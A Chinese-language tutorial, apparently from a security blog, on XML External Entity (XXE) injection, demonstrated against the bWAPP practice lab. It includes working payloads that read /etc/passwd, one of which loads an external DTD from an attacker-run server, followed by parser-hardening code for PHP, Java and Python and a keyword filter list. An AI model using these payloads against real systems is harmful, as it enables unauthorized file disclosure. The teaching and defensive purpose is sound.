1. 程式人生 > >XXE注入--XML外部實體注入(XML External Entity)

XXE注入--XML外部實體注入(XML External Entity)

前言

很早就聽說過這個漏洞,但是在實際的環境中很少遇見,最近碰到過XXE注入漏洞,於是就來研究一下XXE注入。
XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊.漏洞是在對非安全的外部實體資料進⾏行處理時引發的安全問題

XML知識

XML用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。
這裡寫圖片描述
DTD(文件型別定義)的作用是定義 XML 文件的合法構建模組。DTD 可以在 XML 文件內宣告,也可以外部引用。

**內部宣告DTD**
<!DOCTYPE 根元素 [元素宣告]>
**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "檔名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "檔名">

DTD實體是用於定義引用普通文字或特殊字元的快捷方式的變數,可以內部宣告或外部引用。

**內部宣告實體**
<!ENTITY 實體名稱 "實體的值">
**引用外部實體**
<!ENTITY 實體名稱 SYSTEM "URI">
或者
<!ENTITY 實體名稱 PUBLIC "public_ID"
"URI">

XML外部實體注入(XML External Entity)

當允許引用外部實體時,通過構造惡意內容,可導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等危害。我這裡使用bWAPP漏洞靶場來介紹兩種利用XXE漏洞的方式:

惡意引入外部實體一

XML程式碼:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc//passwd">]>
<login>&b;</login>
  1. 在bWAPP靶場中選擇好XXE漏洞,再使用burpsuite抓取資料包;
    這裡寫圖片描述
  2. 再burpsuite中可以看到抓取的POST包中傳遞的是XML,我們就這這裡修改並插入構造好的XML程式碼;
    這裡寫圖片描述
  3. 我們現在將上面的程式碼修改;

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">]>
    <reset>
    <login>&b;</login>
    <secret>login</secret>
    </reset>

    這裡寫圖片描述
  4. 最後點選“go”放POST包,響應包中就有我們需要的passwd檔案內容;
    這裡寫圖片描述

惡意引入外部實體二

這個方法是通過XML引用外面的DTD檔案來利用XXE漏洞
XML程式碼:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://192.168.1.19/1.dtd">
    %d;]>
<reset>
    <login>&b;</login>
    <secret>Any bugs?</secret>
</reset>

DTD檔案(1.dtd)內容

<!ENTITY %b SYSTEM "file:///etc/passwd">
  1. 還是老樣子,使用burp suite抓取POST資料包,再POST包中修改XML程式碼;
    這裡寫圖片描述
  2. 在本地搭建伺服器,編寫好DTD檔案,以便XML能夠引用;
    這裡寫圖片描述
    3.最後點選“go”放POST包,響應包中就有我們需要的passwd檔案內容;
    這裡寫圖片描述

防禦XXE攻擊

方案一、使用開發語言提供的禁用外部實體的方法

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、過濾使用者提交的XML資料
關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

bWAPP靶場可以參見以下連結